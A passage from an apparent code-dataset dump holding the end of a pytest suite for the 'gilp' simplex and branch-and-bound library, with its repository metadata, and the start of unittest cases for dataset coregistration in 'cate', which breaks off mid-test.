shape.*'):\n            bfs = BFS(x=np.array([[5],[5],[0],[0],[0]]),\n                      B=[0,1,5],\n                      obj_val=95,\n                      optimal=False)\n            _simplex_iteration(lp=klee_minty_3d_lp,\n                               bfs=bfs,\n                               pivot_rule='bland')\n\n    def test_bland(self, klee_minty_3d_lp):\n        bfs = BFS(x=np.array([[5],[5],[0],[0],[0],[65]]),\n                  B=[0,1,5],\n                  obj_val=95,\n                  optimal=False)\n        actual = _simplex_iteration(lp=klee_minty_3d_lp,\n                                    bfs=bfs,\n                                    pivot_rule='bland')\n        assert (np.array([[5],[5],[65],[0],[0],[0]]) == actual[0]).all()\n        actual[1].sort()\n        assert [0,1,2] == actual[1]\n        assert 95 == actual[2]\n        assert not actual[3]\n\n    def test_min_index(self, klee_minty_3d_lp):\n        bfs = BFS(x=np.array([[5],[5],[0],[0],[0],[65]]),\n                  B=[0,1,5],\n                  obj_val=95,\n                  optimal=False)\n        actual = _simplex_iteration(lp=klee_minty_3d_lp,\n                                    bfs=bfs,\n                                    pivot_rule='min_index')\n        assert (np.array([[5],[5],[65],[0],[0],[0]]) == actual[0]).all()\n        actual[1].sort()\n        assert [0,1,2] == actual[1]\n        assert 95 == actual[2]\n        assert not actual[3]\n\n    def test_dantzig(self, klee_minty_3d_lp):\n        bfs = BFS(x=np.array([[0],[0],[0],[5],[25],[125]]),\n                  B=[3,4,5],\n                  obj_val=0,\n                  optimal=False)\n        actual = _simplex_iteration(lp=klee_minty_3d_lp,\n                                    bfs=bfs,\n                                    pivot_rule='dantzig')\n        assert (np.array([[5],[0],[0],[0],[5],[85]]) == actual[0]).all()\n        actual[1].sort()\n        assert [0,4,5] == actual[1]\n        assert 20 == actual[2]\n        assert not actual[3]\n\n    def test_max_reduced_cost(self, klee_minty_3d_lp):\n        bfs = BFS(x=np.array([[0],[0],[0],[5],[25],[125]]),\n                  B=[3,4,5],\n                  obj_val=0,\n                  optimal=False)\n        actual = _simplex_iteration(lp=klee_minty_3d_lp,\n                                    bfs=bfs,\n                                    pivot_rule='max_reduced_cost')\n        assert (np.array([[5],[0],[0],[0],[5],[85]]) == actual[0]).all()\n        actual[1].sort()\n        assert [0,4,5] == actual[1]\n        assert 20 == actual[2]\n        assert not actual[3]\n\n    def test_greatest_ascent1(self, klee_minty_3d_lp):\n        bfs = BFS(x=np.array([[0],[0],[0],[5],[25],[125]]),\n                  B=[3,4,5],\n                  obj_val=0,\n                  optimal=False)\n        actual = _simplex_iteration(lp=klee_minty_3d_lp,\n                                    bfs=bfs,\n                                    pivot_rule='greatest_ascent')\n        assert (np.array([[0],[0],[125],[5],[25],[0]]) == actual[0]).all()\n        actual[1].sort()\n        assert [2,3,4] == actual[1]\n        assert 125 == actual[2]\n        assert not actual[3]\n\n    def test_greatest_ascent2(self, klee_minty_3d_lp):\n        bfs = BFS(x=np.array([[0],[0],[125],[5],[25],[0]]),\n                  B=[2,3,4],\n                  obj_val=125,\n                  optimal=False)\n        actual = _simplex_iteration(lp=klee_minty_3d_lp,\n                                    bfs=bfs,\n                                    pivot_rule='greatest_ascent')\n        assert (np.array([[0],[0],[125],[5],[25],[0]]) == actual[0]).all()\n        actual[1].sort()\n        assert [2,3,4] == actual[1]\n        assert 125 == actual[2]\n        assert actual[3]\n\n    def test_manual_select(self, klee_minty_3d_lp):\n        with mock.patch('builtins.input', return_value=\"2\"):\n            bfs = BFS(x=np.array([[0],[0],[0],[5],[25],[125]]),\n                      B=[3,4,5],\n                      obj_val=0,\n                      optimal=False)\n            actual = _simplex_iteration(lp=klee_minty_3d_lp,\n                                        bfs=bfs,\n                                        pivot_rule='manual_select')\n            assert (np.array([[0],[25],[0],[5],[0],[25]]) == actual[0]).all()\n            actual[1].sort()\n            assert [1,3,5] == actual[1]\n            assert 50 == actual[2]\n            assert not actual[3]\n        with mock.patch('builtins.input', return_value=\"2\"):\n            bfs = BFS(x=np.array([[0],[0],[0],[5],[25],[125]]),\n                      B=[3,4,5],\n                      obj_val=0,\n                      optimal=False)\n            actual = _simplex_iteration(lp=klee_minty_3d_lp,\n                                        bfs=bfs,\n                                        pivot_rule='manual')\n            assert (np.array([[0],[25],[0],[5],[0],[25]]) == actual[0]).all()\n            actual[1].sort()\n            assert [1,3,5] == actual[1]\n            assert 50 == actual[2]\n            assert not actual[3]\n\n\nclass TestSimplex():\n\n    def test_bad_inputs(self, klee_minty_3d_lp, unbounded_lp):\n        with pytest.raises(ValueError,match='Invalid pivot rule.*'):\n            gilp.simplex(lp=klee_minty_3d_lp,\n                         pivot_rule='invalid')\n        with pytest.raises(ValueError,match='.* following shapes: .*'):\n            gilp.simplex(lp=klee_minty_3d_lp,\n                         initial_solution=np.array([[5],[5],[0],[0]]))\n        with pytest.raises(ValueError,match='.* should have one of .*'):\n            gilp.simplex(lp=gilp.LP(np.array([[1]]),\n                                    np.array([[1]]),\n                                    np.array([[1]]),\n                                    equality=True),\n                         initial_solution=np.array([[1],[1]]))\n        with pytest.raises(ValueError,match='Iteration limit*'):\n            gilp.simplex(lp=klee_minty_3d_lp,\n                         iteration_limit=-1)\n        with warns(UserWarning, match='.*was not a basic feasible solution.*'):\n            gilp.simplex(klee_minty_3d_lp,\n                         initial_solution=np.array([[2],[2],[2]]))\n        with pytest.raises(UnboundedLinearProgram):\n            gilp.simplex(unbounded_lp,'greatest_ascent')\n\n    def test_simplex(self, klee_minty_3d_lp):\n        actual = gilp.simplex(klee_minty_3d_lp,\n                              pivot_rule='dantzig',\n                              initial_solution=np.array([[0],[0],[0],\n                                                         [5],[25],[125]]))\n        bfs = np.array([[0],[0],[125],[5],[25],[0]])\n        bases = [2,3,4]\n        assert np.allclose(bfs,actual[0],atol=1e-7)\n        assert np.allclose(bases,actual[1],atol=1e-7)\n        assert 125 == actual[2]\n        assert actual[3]\n\n    def test_initial_solution(self, klee_minty_3d_lp):\n        actual = gilp.simplex(klee_minty_3d_lp,\n                              initial_solution=[5, 5, 65],\n                              pivot_rule='dantzig')\n        bfs = np.array([[0],[0],[125],[5],[25],[0]])\n        bases = [2,3,4]\n        assert np.allclose(bfs,actual[0],atol=1e-7)\n        assert np.allclose(bases,actual[1],atol=1e-7)\n        assert 125 == actual[2]\n        assert actual[3]\n\n    def test_degenerate_init_sol(self):\n        A = np.array([[1,1],[0,1],[1,-1],[1,0],[-2,1]])\n        b = np.array([[6],[4],[2],[3],[0]])\n        c = np.array([[1],[0]])\n        lp = gilp.LP(A,b,c)\n        gilp.simplex(lp,initial_solution=np.array([[2],[4]]))\n\n    def test_iteration_limit(self, klee_minty_3d_lp):\n        actual = gilp.simplex(klee_minty_3d_lp,\n                              pivot_rule='dantzig',\n                              iteration_limit=3,\n                              initial_solution=[[0],[0],[0],[5],[25],[125]])\n        bfs = np.array([[0],[25],[0],[5],[0],[25]])\n        bases = [1,5,3]\n        assert np.allclose(bfs,actual[0],atol=1e-7)\n        assert np.allclose(bases,actual[1],atol=1e-7)\n        assert 50 == actual[2]\n        assert not actual[3]\n\n\nclass TestPhaseOne():\n\n    @pytest.mark.parametrize(\"lp,bfs\",[\n        (gilp.LP([[1,1,0],[-1,1,-1]],\n                 [3, 1],\n                 [2, 1, 0],\n                 equality=True), (np.array([[1],[2],[0]]),[0,1]))])\n    def test_phase_one(self,lp,bfs):\n        x,B = _phase_one(lp)[:2]\n        assert all(x == bfs[0])\n        assert B == bfs[1]\n\n    @pytest.mark.parametrize(\"lp\",[\n        (gilp.LP(np.array([[1],[-1]]),\n                 np.array([2,-3]),\n                 np.array([1]))),\n        (gilp.LP(np.array([[1,0],[0,-1],[-1,0]]),\n                 np.array([2,-3,-3]),\n                 np.array([1,1]))),\n        (gilp.LP(np.array([[0,1],[0,-1],[-1,0]]),\n                 np.array([2,-3,-3]),\n                 np.array([1,2])))])\n    def test_infeasible(self,lp):\n        with pytest.raises(Infeasible):\n            _phase_one(lp)\n\n    @pytest.mark.parametrize(\"lp,bfs\",[\n        (gilp.LP(np.array([[1],[1]]),\n                 np.array([[0],[0]]),\n                 np.array([[1]]),\n                 equality=True), (np.array([[0]]),[0])),\n        (gilp.LP(np.array([[1],[1]]),\n                 np.array([[3],[3]]),\n                 np.array([[1]]),\n                 equality=True), (np.array([[3]]),[0])),\n        (gilp.LP(np.array([[1,1],[1,1]]),\n                 np.array([[1],[1]]),\n                 np.array([[2],[1]]),\n                 equality=True), (np.array([[1],[0]]),[0])),\n        (gilp.LP(np.array([[1,1],[1,0]]),\n                 np.array([[1],[1]]),\n                 np.array([[1],[1]]),\n                 equality=True), (np.array([[1],[0]]),[0,1]))])\n    def test_degenerate(self,lp,bfs):\n        x,B = _phase_one(lp)[:2]\n        assert all(x == bfs[0])\n        assert B == bfs[1]\n\n\n@pytest.mark.parametrize(\"A,t\",[\n    (np.array([[1,0],[0,1]]), True),\n    (np.array([[0,1],[1,0]]), True),\n    (np.array([[1,0,0],[0,1,0]]), False),\n    (np.array([[2,0,0],[0,0,3],[0,1,0]]), True)])\ndef test_invertible(A,t):\n    assert _invertible(A) == t\n\n\n@pytest.mark.parametrize(\"lp, expected\",[\n    (gilp.examples.ALL_INTEGER_2D_LP,\n     np.array([[0.0, 0.0],\n               [7.0, 0.0],\n               [-0.0, 16.0],\n               [7.0, 6.0],\n               [4.0, 12.0]])),\n    (gilp.examples.ALL_INTEGER_3D_LP,\n     np.array([[0.0, 0.0, 0.0],\n               [-0.0, 8.0, -0.0],\n               [6.0, 0.0, 2.0],\n               [6.0, 0.0, 0.0],\n               [6.0, 6.0, 2.0],\n               [6.0, 8.0, -0.0],\n               [3.0, 0.0, 5.0],\n               [0.0, 0.0, 5.0],\n               [3.0, 3.0, 5.0],\n               [0.0, 3.0, 5.0]]))])\ndef test_get_vertices(lp, expected):\n    result = lp.get_vertices()\n    result = np.array([list(x[:,0]) for x in result])\n    assert (result == expected).all()\n\n\ndef test_get_vertices_equality_lp():\n    with pytest.raises(ValueError, match='.*be in standard inequality .*'):\n        lp = gilp.LP([[1,1]], [1], [1,2], equality=True)\n        lp.get_vertices()\n\n\ndef test_branch_and_bound_manual():\n    lp = gilp.LP(np.array([[1,1],[5,9]]),\n                 np.array([[6],[45]]),\n                 np.array([[5],[8]]))\n    with mock.patch('builtins.input', return_value=\"0\"):\n        with pytest.raises(ValueError,match='index can not be branched on.'):\n            iteration = branch_and_bound_iteration(lp, None, None, True)\n    with mock.patch('builtins.input', return_value=\"2\"):\n        iteration = branch_and_bound_iteration(lp, None, None, True)\n        assert not iteration.fathomed\n        assert iteration.incumbent is None\n        assert iteration.best_bound is None\n        assert all(gilp.simplex(iteration.right_LP).x[:2]\n                   == np.array([[1.8],[4]]))\n        assert all(gilp.simplex(iteration.left_LP).x[:2]\n                   == np.array([[3],[3]]))\n\n\n@pytest.mark.parametrize(\"lp,x,val\",[\n    (gilp.LP(np.array([[-2,2],[2,2]]),\n             np.array([[1],[7]]),\n             np.array([[1],[2]])),\n     np.array([[2],[1]]),\n     4.0),\n    (gilp.LP(np.array([[1,1],[5,9]]),\n             np.array([[6],[45]]),\n             np.array([[5],[8]])),\n     np.array([[0],[5]]),\n     40.0),\n    (gilp.LP(np.array([[1,10],[1,0]]),\n             np.array([[20],[2]]),\n             np.array([[0],[5]])),\n     np.array([[0],[2]]),\n     10.0),\n    (gilp.LP(np.array([[-2,2,1,0],[2,2,0,1]]),\n             np.array([[1],[7]]),\n             np.array([[1],[2],[0],[0]]),equality=True),\n     np.array([[2],[1],[3],[1]]),\n     4.0),\n    (gilp.LP(np.array([[1,1,1,0],[5,9,0,1]]),\n             np.array([[6],[45]]),\n             np.array([[5],[8],[0],[0]]),equality=True),\n     np.array([[0],[5],[1],[0]]),\n     40.0),\n    (gilp.LP(np.array([[1,10,1,0],[1,0,0,1]]),\n             np.array([[20],[2]]),\n             np.array([[0],[5],[0],[0]]),equality=True),\n     np.array([[0],[2],[0],[2]]),\n     10.0)])\ndef test_branch_and_bound(lp,x,val):\n    ans = gilp.branch_and_bound(lp)\n    assert all(x == ans[0])\n    assert val == ans[1]\n", "meta": {"hexsha": "59215d981d40e14bf5859c2b07b95346c6481068", "size": 17118, "ext": "py", "lang": "Python", "max_stars_repo_path": "gilp/tests/test_simplex.py", "max_stars_repo_name": "xbrq/gilp", "max_stars_repo_head_hexsha": "7fb1d2425d905aa43a5bcde25713b40878bc30d1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 18, "max_stars_repo_stars_event_min_datetime": "2020-07-24T02:35:14.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-28T18:51:46.000Z", "max_issues_repo_path": "gilp/tests/test_simplex.py", "max_issues_repo_name": "xbrq/gilp", "max_issues_repo_head_hexsha": "7fb1d2425d905aa43a5bcde25713b40878bc30d1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2021-01-25T11:18:45.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-04T23:21:28.000Z", "max_forks_repo_path": "gilp/tests/test_simplex.py", "max_forks_repo_name": "xbrq/gilp", "max_forks_repo_head_hexsha": "7fb1d2425d905aa43a5bcde25713b40878bc30d1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2021-02-12T05:02:31.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-04T22:29:58.000Z", "avg_line_length": 38.6410835214, "max_line_length": 79, "alphanum_fraction": 0.4567122327, "include": true, "reason": "import numpy", "num_tokens": 4912, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.12085323724011435, "lm_q1q2_score": 0.057125328339491216}}
{"text": "\"\"\"\nTest cate/ops/coregistration.py\n\nTest coregistration, checks if the values seem as expected\nwhen using default upsampling/downsampling methods.\n\n\"\"\"\n\nfrom unittest import TestCase\n\nimport numpy as np\nimport xarray as xr\nfrom numpy.testing import assert_almost_equal, assert_array_equal\n\nfrom cate.core.op import OP_REGISTRY\nfrom cate.util.misc import object_to_qualified_name\n\nfrom cate.ops import coregister\nfrom cate.ops.coregistration import _find_intersection\nfrom ..util.test_monitor import RecordingMonitor\n\n\nclass TestCoregistration(TestCase):\n    \"\"\"\n    Test coregistration\n    \"\"\"\n    def test_nominal(self):\n        \"\"\"\n        Test nominal execution\n        \"\"\"\n        ds_fine = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])}).chunk(chunks={'lat': 2, 'lon': 4})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])}).chunk(chunks={'lat': 3, 'lon': 3})\n\n        # Test that the coarse dataset has been resampled onto the grid\n        # of the finer dataset.\n        rm = RecordingMonitor()\n        ds_coarse_resampled = coregister(ds_fine, ds_coarse, monitor=rm)\n        self.assertEqual([('start', 'coregister dataset', 2),\n                          ('progress', 0.0, 'coregister dataarray', 0),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 0),\n                          ('progress', 0.125, None, 6),\n                          ('progress', 0.125, None, 13),\n                          ('progress', 0.125, None, 19),\n                          ('progress', 0.125, None, 25),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 25),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 25),\n                          ('progress', 0.125, None, 31),\n                          ('progress', 0.125, None, 38),\n                          ('progress', 0.125, None, 44),\n                          ('progress', 0.125, None, 50),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 50),\n                          ('progress', 0.0, 'coregister dataarray', 50),\n                          ('progress', 0.0, 'coregister dataarray', 50),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 50),\n                          ('progress', 0.125, None, 56),\n                          ('progress', 0.125, None, 63),\n                          ('progress', 0.125, None, 69),\n                          ('progress', 0.125, None, 75),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 75),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 75),\n                          ('progress', 0.125, None, 81),\n                          ('progress', 0.125, None, 88),\n                          ('progress', 0.125, None, 94),\n                          ('progress', 0.125, None, 100),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 100),\n                          ('progress', 0.0, 'coregister dataarray', 100),\n                          ('done',)], rm.records)\n\n        expected = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([[[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                                                         [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                                                         [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0.,\n                                                          0.],\n                                                         [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]],\n                                                        [[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                                                         [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                                                         [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0.,\n                                                          0.],\n                                                         [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]]])),\n            'second': (['time', 'lat', 'lon'], np.array([[[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                                                          [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                                                          [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0.,\n                                                           0.],\n                                                          [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]],\n                                                         [[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                                                          [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                                                          [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0.,\n                                                           0.],\n                                                          [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]]])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n        assert_almost_equal(ds_coarse_resampled['first'].values, expected['first'].values)\n\n        # Test that the fine dataset has been resampled (aggregated)\n        # onto the grid of the coarse dataset.\n        ds_fine_resampled = coregister(ds_coarse, ds_fine)\n        expected = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([[[0.625, 0.125, 0., 0., 0., 0.],\n                                                         [0.125, 0.5, 0.125, 0., 0., 0.],\n                                                         [0., 0.125, 0.625, 0., 0., 0.]],\n\n                                                        [[0.625, 0.125, 0., 0., 0., 0.],\n                                                         [0.125, 0.5, 0.125, 0., 0., 0.],\n                                                         [0., 0.125, 0.625, 0., 0., 0.]]])),\n            'second': (['time', 'lat', 'lon'], np.array([[[0.625, 0.125, 0., 0., 0., 0.],\n                                                          [0.125, 0.5, 0.125, 0., 0., 0.],\n                                                          [0., 0.125, 0.625, 0., 0., 0.]],\n\n                                                         [[0.625, 0.125, 0., 0., 0., 0.],\n                                                          [0.125, 0.5, 0.125, 0., 0., 0.],\n                                                          [0., 0.125, 0.625, 0., 0., 0.]]])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])})\n\n        assert_almost_equal(ds_fine_resampled['first'].values, expected['first'].values)\n\n    def test_registered(self):\n        \"\"\"\n        Test registered operation execution execution\n        \"\"\"\n        reg_op = OP_REGISTRY.get_op(object_to_qualified_name(coregister))\n        ds_fine = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])})\n\n        # Test that the coarse dataset has been resampled onto the grid\n        # of the finer dataset.\n        ds_coarse_resampled = reg_op(ds_master=ds_fine, ds_replica=ds_coarse)\n        expected = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([[[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                                                         [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                                                         [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0.,\n                                                          0.],\n                                                         [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]],\n                                                        [[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                                                         [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                                                         [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0.,\n                                                          0.],\n                                                         [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]]])),\n            'second': (['time', 'lat', 'lon'], np.array([[[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                                                          [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                                                          [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0.,\n                                                           0.],\n                                                          [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]],\n                                                         [[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                                                          [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                                                          [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0.,\n                                                           0.],\n                                                          [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]]])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n        assert_almost_equal(ds_coarse_resampled['first'].values, expected['first'].values)\n\n        # Test that the fine dataset has been resampled (aggregated)\n        # onto the grid of the coarse dataset.\n        ds_fine_resampled = reg_op(ds_master=ds_coarse, ds_replica=ds_fine)\n        expected = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([[[0.625, 0.125, 0., 0., 0., 0.],\n                                                         [0.125, 0.5, 0.125, 0., 0., 0.],\n                                                         [0., 0.125, 0.625, 0., 0., 0.]],\n\n                                                        [[0.625, 0.125, 0., 0., 0., 0.],\n                                                         [0.125, 0.5, 0.125, 0., 0., 0.],\n                                                         [0., 0.125, 0.625, 0., 0., 0.]]])),\n            'second': (['time', 'lat', 'lon'], np.array([[[0.625, 0.125, 0., 0., 0., 0.],\n                                                          [0.125, 0.5, 0.125, 0., 0., 0.],\n                                                          [0., 0.125, 0.625, 0., 0., 0.]],\n\n                                                         [[0.625, 0.125, 0., 0., 0., 0.],\n                                                          [0.125, 0.5, 0.125, 0., 0., 0.],\n                                                          [0., 0.125, 0.625, 0., 0., 0.]]])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])})\n\n        assert_almost_equal(ds_fine_resampled['first'].values, expected['first'].values)\n\n    def test_error(self):\n        \"\"\"\n        Test error conditions\n        \"\"\"\n        # Test unexpected global bounds\n        ds_fine = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'lat': np.linspace(67.5, 135, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])})\n\n        with self.assertRaises(ValueError) as err:\n            coregister(ds_fine, ds_coarse)\n        self.assertIn('(67.5, 135.0)', str(err.exception))\n\n        # Test non-equidistant dataset\n        ds_fine = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'lat': [-67.5, -20, 20, 67.5],\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])})\n\n        with self.assertRaises(ValueError) as err:\n            coregister(ds_fine, ds_coarse)\n        self.assertIn('not equidistant', str(err.exception))\n\n        # Test non-pixel registered dataset\n        ds_fine = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n\n        ds_coarse_err = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.zeros([2, 5, 10])),\n            'second': (['time', 'lat', 'lon'], np.zeros([2, 5, 10])),\n            'lat': np.linspace(-90, 90, 5),\n            'lon': np.linspace(-162, 162, 10),\n            'time': np.array([1, 2])})\n\n        with self.assertRaises(ValueError) as err:\n            coregister(ds_fine, ds_coarse_err)\n        self.assertIn('not pixel-registered', str(err.exception))\n\n        ds_coarse_err = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.zeros([2, 5, 10])),\n            'second': (['time', 'lat', 'lon'], np.zeros([2, 5, 10])),\n            'lat': np.linspace(-72, 72, 5),\n            'lon': np.linspace(-180, 180, 10),\n            'time': np.array([1, 2])})\n\n        with self.assertRaises(ValueError) as err:\n            coregister(ds_fine, ds_coarse_err)\n        self.assertIn('not pixel-registered', str(err.exception))\n\n        # Test unexpected dimensionality\n        ds_fine = xr.Dataset({\n            'first': (['lat', 'longertude'], np.eye(4, 8)),\n            'second': (['lat', 'longertude'], np.eye(4, 8)),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'longertude': np.linspace(-157.5, 157.5, 8)})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])})\n\n        with self.assertRaises(ValueError) as err:\n            coregister(ds_fine, ds_coarse)\n        self.assertIn('longertude', str(err.exception))\n\n        ds_fine = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'second': (['time', 'lon'], np.eye(2, 6)),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])})\n\n        with self.assertRaises(ValueError) as err:\n            coregister(ds_fine, ds_coarse)\n        self.assertIn('select_var', str(err.exception))\n\n    def test_find_intersection(self):\n        \"\"\"\n        Test the _find_intersection method\n        \"\"\"\n        # Test =======\n        #          =========\n        a = np.linspace(0.5, 9.5, 10)\n        b = np.linspace(5.5, 14.5, 10)\n        result = _find_intersection(a, b, (0, 15))\n        self.assertEqual((5, 10), result)\n\n        # Test   =======\n        #    =========\n        a = np.linspace(0.5, 9.5, 10)\n        b = np.linspace(5.5, 14.5, 10)\n        result = _find_intersection(b, a, (0, 15))\n        self.assertEqual((5, 10), result)\n\n        # Test   =======\n        #     ==============\n        a = np.linspace(5.5, 14.5, 10)\n        b = np.linspace(0.5, 19.5, 20)\n        result = _find_intersection(a, b, (0, 20))\n        self.assertEqual((5, 15), result)\n\n        # Test ==================\n        #          ========\n        a = np.linspace(0.5, 19.5, 20)\n        b = np.linspace(5.5, 14.5, 10)\n        result = _find_intersection(a, b, (0, 20))\n        self.assertEqual((5, 15), result)\n\n        # Test ============\n        #                    ========\n        a = np.linspace(0.5, 9.5, 10)\n        b = np.linspace(10.5, 19.5, 10)\n        with self.assertRaises(ValueError) as err:\n            _find_intersection(a, b, (0, 20))\n        self.assertIn('valid intersection', str(err.exception))\n\n        # Test       ============\n        #  ========\n        a = np.linspace(0.5, 9.5, 10)\n        b = np.linspace(10.5, 19.5, 10)\n        with self.assertRaises(ValueError) as err:\n            _find_intersection(b, a, (0, 20))\n        self.assertIn('valid intersection', str(err.exception))\n\n        # Test misaligned origins\n        a = np.linspace(0.5, 9.5, 10)\n        b = np.linspace(1, 9, 10)\n        with self.assertRaises(ValueError) as err:\n            